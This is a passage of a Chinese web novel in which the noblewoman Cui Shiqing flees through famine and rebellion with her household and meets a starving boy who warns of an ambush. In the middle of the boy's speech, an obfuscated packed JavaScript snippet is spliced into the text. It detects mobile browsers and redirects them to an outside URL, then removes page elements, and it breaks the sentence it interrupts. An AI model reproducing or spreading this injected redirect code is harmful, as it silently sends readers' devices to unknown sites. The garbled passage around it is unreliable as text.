纪危舟声音嘶哑,惹得崔时清不得不多看了一眼他面上病态的红晕,她掐紧了垂在身侧的掌心。 “受了风寒?”崔时清冷淡地问道。 “我——”纪危舟收回刚要抬起的左脚,仓皇地后退了两步,注视着崔时清的眼睛,笑道,“没有,我很好。” 崔时清不置可否,沉默了片刻,面无表情地盯着他,“我说过,我不想再看到你。” 纪危舟面如死灰,连眼睛都暗淡得只余死气,他畏缩不前,又一再退后,最终苦涩地开口。 “我马上走。” 崔时清轻嗤了一声,转瞬间,昳丽的面容便多了一股妖异的媚态,嗓音娇柔,丝毫不掩饰心中的恶念。 她噙着浅笑,开口道:“还记得那个暗室吗?三日、把自己锁在里面三日。若我满意了,或许会再考虑要不要原谅你。” 纪危舟直勾勾地望着她,唇瓣微动了几下。 “三日之内,我不会出来。” “很好。”崔时清勾唇笑着,转过身,背对着纪危舟,又道,“吃了药再进去,不要死在里面了。” 纪危舟匆忙地叫住了她,双眼布着血丝,痴痴地乞求道:“能不能、迟些再走?” 崔时清没有回应,也没有留下,决绝地大步离去。 身后,院门阖上。 崔时清重重喘了一口气,回头看着隔绝他们的门扉。 “最后一次,再也不骗你了。” 101. 叛乱 再次回头。 崔时清遥望着高耸的城墙,她的目光梭巡着,却没有看到心中的那个人。恍惚之间,她想起了自己说过的谎话。 刺骨的寒风钻入骨缝中,她抑制不住地轻颤着。 如同七岁那年。 再一次抛下了一切,在大雪纷飞中,孤身离开。 冬雪天。 哪怕是官道,也时有积雪,路滑难行。 崔时清带着柳氏、崔竹,云霞、若兮,还有五十名护卫走走停停,在前方探路的护卫带回了一个消息。 驻守利州的安善侯程翰叛乱造反,率领利州军从京畿西面杀来,扬言要入京都城中,为利州军民讨个活路。 “距离我们多远?”崔时清面色冷峻。 “不足百里。”护卫队长叶霖低头回答。 为何会爆发叛乱? 崔时清看着来时之路,却不敢深思,强压下心底的不安,问:“你有什么想法?” “各处叛乱四起,这些军士饿极了,还须避其锋芒才是。”叶霖领了国公爷的死令,势必要把崔氏县主周全地护送到清河郡的。思及此,他又道,“官道虽说顺畅好走,但眼下最好是偏离官修大道,绕路而行。” 崔时清思忖着,点头道:“你来安排。” “是。”叶霖原本还怕崔氏县主贪图路平车稳,听不进劝,眼下见她爽快应下,松了一口气的同时,连忙招呼手下重整车马行装、以便改道小路。 继续上路。 崔时清靠在包裹了皮子的车壁上,有些心不在焉。 崔竹因生意之故,对于四处的情况皆有了解,见小主子心事重,便开口道:“利州饥荒严重,造反也是被逼无奈之举。” “饥荒再是严重,也不是造反的借口。”柳氏是普通老农家的心思,再苦再累,也不敢乱动心思。听到大掌柜在此大放厥词,忍不住瞪着他,低声斥责。 “连口饭都吃不上,不造反哪有活路?”崔竹说着,叹了一口气,解释道,“还记得军屯贪污案吗?朝廷虽斩杀了涉事的官员武将,却并没有把收缴的粮食归还。各处的军资粮草本就还欠着,军士缺粮少衣,连辛苦耕种的粮食都被侵占,这搁在谁身上,都咽不下这口气。” 柳氏没想到还有这种事情,嘴唇翕动了几下,心里沉甸甸的,声音也极为无力,“要怪也只能怪这世道不让人活……” 崔时清的眸光微动。 是这世道、是天老爷,在逼他。 逼着他,走那条孤寡无亲的路。 哐得一声响,梅花镯子重重磕在矮几上,崔时清呼吸微沉,死死扣着掌心,隐忍着心中的怒火。 “时娘?可有磕疼了?!”柳氏心惊肉跳地托起她的手,低头仔细检查。 崔时清闭上了眼睛,声音很轻地说道:“我只是、累了。” 柳氏和崔竹相视一眼,从彼此的眼中都看出了些许愁绪。他们不知应当如何劝慰,只有安静地陪伴在侧,期盼着回到清河郡,小主子便能好起来。 临近勉州地界,局势愈加严重。 路过的村子多成焦土废墟,不时还有零星的叛军、流民来袭,好在叶霖等人得力,才没有造成伤亡。 但击杀叛军流民以后,为了避免遭到追击,他们只得一再绕路,行走在更荒僻的小径深处。 山道小路虽易隐藏行踪,马车却再难以通行。 商议过后,他们决定丢弃冗重的行装,骑乘上路,先到勉州城中安顿下来,再考虑后续的去路。 “吁。”探路护卫匆匆而归,马上还横趴着一名衣衫褴褛的小儿。 “怎么回事?”叶霖御马迎了上前。 崔时清撩开风帽,看着被提着下马,扭动骨瘦如柴的身板、不断挣扎的小儿。 护卫在他的脑袋上轻拍了一掌,低喝着让他老实,才道出了缘由。 “这小子想偷马,被我抓了正着。依他逃窜的路线,显然对四周地形颇为了解,刚好可以为我们领路。” 叶霖躬身掐着小儿瘦削的面颊,看了眼不合身的短袄上露出的干枯瘦小的手臂,语气温和地问道:“小儿可有五岁了?” 小儿乖巧一笑,身体向后微仰,骤然间露出了虎牙,猛扑上前。好在擒拿他的护卫有了经验,忙不迭提溜起他,这才免了叶霖被啃去一块好肉去。 “放你个狗屁!老子八岁了!速速放开你家老子!否则咬死你们这些兵痞!”口下落空,小儿却也没闲着,扬声叫骂了起来。 “……”叶霖温和的面色顿时如冰雪,碎成渣渣,怒极反笑道,“诶嘿!你这小子还真是!” “要不,拿根绳子绑着走?”吃过大亏的护卫,悻悻然问。 小儿闻言,大吼大叫道:“你们放了老子!放了老子!” “啪!” 长鞭落在小儿脚边的石头上,崔时清面色冷沉地看着他的眼睛,“住嘴。” 小儿这才看到崔时清等人,扫了一眼这一行人马,目光最后落回面前这位如菩萨一样好看的贵女身上。 他知道,许多贵女长得漂亮,心肠却如蛇蝎一样,是真的会杀了他的。 小儿心中没有底气,便装出可怜模样,颤颤巍巍地噤声不语,没有再口出恶言。 “现在,我问,你答,其余废话不许再吐出来一个字,可懂?”崔时清盯着瑟瑟发抖的小儿,冷声问。 小儿用力点了点头,在不善的目光下,忙声答道:“懂的。” 崔时清下颌微抬,示意护卫放他落地。 总算得到自由的小儿,眼睛滴溜溜转了一圈,想逃却清楚明白自己逃不掉,只得屈膝、准备对这个显然可以掌控自己命运的‘菩萨’下跪。 “站着答话。”‘菩萨’冷淡地斜睨了他一眼,不接受朝拜,“你叫什么?” “……毅哥儿。”小儿局促地应道。 崔时清瞥着面黄肌瘦的儿郎,“可是流民?” “不、不是流民。”毅哥儿抬起头来,不动声色地打量着崔时清的装扮,目光落在绣了金线的披麾上,“我原是勉州城里的乞儿,实在没了出路,为了寻口吃的,这才出城刨挖草根野草果腹。” 崔时清蹙眉沉思。 毅哥儿看到她面色不虞的模样,战战兢兢地又道:“我、小的方才以为是碰上强征青壮、洗劫村县的兵痞了,并非有意冲撞贵人。” “勉州主城距离此处一百余里,你寻口吃的,跑来了这深山老林?”崔时清冷笑道。 “这、不……”毅哥儿哆哆嗦嗦,本就苍白的面色更加难看了。 大掌柜崔竹下马,把肩上的麾子裹在小儿瘦削的身体上,哄劝道:“我等不是欺辱小儿之人,你且说实话。” 毅哥儿默默瞥向抓他来的护卫,眼里满是指控。 护卫尴尬地摸了摸鼻尖,申辩道:“你偷我的马,还敢咬人,我哪怕揍了你几下,却也不曾用力呀。” 崔竹不赞同地乜了他一眼,轻抚着毅哥儿的脑袋,“好儿郎,你出自何处?” 身上裹着还带着暖意的麾子,小儿仰头觑着面前温善面容的阿伯,又看着后面的阿姆、与共乘一骑的两位年轻的阿姐,他想起了还住在漏风的茅草屋里的同伴。 他们还饿着,在等着他。 “我若全都交代了,可不可以与我些许吃食?”毅哥儿忐忑地看着崔时清,问道。 崔时清攥紧掌中的长鞭,不知应当如何开口,崔竹看出了她的意思,承诺道:“我们可与你一斗精米。” 毅哥儿的眼睛亮了起来,忙声道:“我确实是从勉州城里出来的。自打州府断了慈幼局的米粮,我们先是在城中乞讨,但是城里的乞丐太多,还有一部分流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14740085|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 民,刺史怕乱,便让差役把我们全都赶出城了。” 勉州都如此艰难,连慈幼局的孤儿都养不起了? 崔时清沉默了片刻,看着瘦骨嶙峋的小儿,“直通勉州之路,可还畅通?” 毅哥儿摇了摇头,面色愁苦道:“流民和叛乱的兵痞太多了,还把守着勉州主城的四处城门,贵人们这时过去,怕是还没入城,便要抵挡不住那些饿疯的人。” “看来,情况比我们想的还糟糕。”崔竹心情沉重道。 前路不通,后面又有利州叛军杀烧掠夺,怎么选都危机重重。 崔时清看着飘飘扬扬的雪花,沉声道:“天色不早了,先找地方扎营,明日等派出的人都回来了,再做决定。” 叶霖看向探路的护卫,后者指着右前方的一片密林,说道:“那儿有一片空地,正适合扎营。” “县主以为如何?”叶霖按着腰间的刀柄,躬身问。 毅哥儿听到叶霖的称呼,眼睛微微瞪大了些,直勾勾盯着崔时清,心怦怦乱跳。 崔时清眼尾微扬,微微颔首表示同意。 “这小儿如何处置?”叶霖又看向毅哥儿,笑了下。 崔时清摩挲着鞭子上纵横交错的皮子,看了一眼蜷在麾子里瘦瘦小小的小儿郎,拽进缰绳,面朝护卫所指的地方。 “把米给他,让他走。” 护卫很快提来一袋精米,正要递与他时,视线落在小儿伶仃的手臂上,有些迟疑。 毅哥儿却以为他不舍,慌忙地夺过麻袋,紧紧抱在怀中,后退了几步。 “……提好了,小子!没人抢你的!”护卫怒哼一声,挥挥手不再理睬他。 “走吧。”崔竹拍了拍毅哥儿的肩膀,也翻身上马,跟在崔时清身边。 注视着一行人马即将出发,毅哥儿抱着沉甸甸的米袋,肩上的披麾长垂地上,把小儿郎的脊背压得直不起来。 马蹄声响之际,他骤然焦急地惊呼道。 “那里有埋伏!” 崔时清回过头来,不辨情绪地看着他。 小儿郎终于还是被过分沉重的负担击垮,泪流满面地跪坐在地。 “我不想的,阿姆、还有弟弟妹妹都在那伙人手中。” 面黄肌瘦的小儿死死抱着怀中的米粮,像是在抱着唯一的生机。 崔时清看着他,眼前浮现起一张模糊的面孔,与眼前的小儿渐渐重叠在一起。 翻身下马,崔时清一步步走到他的面前,伸出的手掌悬在半空,微顿了一下,便生硬地拢紧披麾,屈膝靠坐在光秃秃的榆树下,语气不咸不淡地开口。 “你小子都做了什么坏事?” 毅哥儿的哭诉哽在喉间,无措地盯着坐在自己身侧的贵人。 周围的护卫皆目瞪口呆,一时不知应该作何姿态。 柳氏和崔竹对视了一眼,也从马上下来,与他们围坐在一处。 “说罢,就冲着你出言提醒的份上,该帮的,永宁县主都会帮你的。”柳氏捻着干净的帕子,轻轻擦拭小儿郎面上的泪痕,柔声道。 毅哥儿十指用力地扣按着怀中的米袋,哽咽道:“永宁县主?数月前来孤山剿匪的永宁县主?” 崔时清微微蹙眉,“你怎知此事?” “徐二叔和县尊大人在孤山遇险,多亏了您与兄长,才保下性命,得以亲手斩杀匪首。”毅哥儿没想过自己会遇上二叔口中所说的贵人,湿红的眼睛不住地直勾勾望着崔时清。 “斩杀匪首?”崔时清低声重复了一遍,问,“徐二叔,是金娘子的夫君?” “对!县主也识得金阿婶?” 崔时清想起了勉州秋末午后的暖阳,穿行于小巷的独轮车,伴着清脆的铃铛声,是她在梦中也不曾忘记的丝丝甜的粽子糖。 她的心后知后觉,感到了钝痛。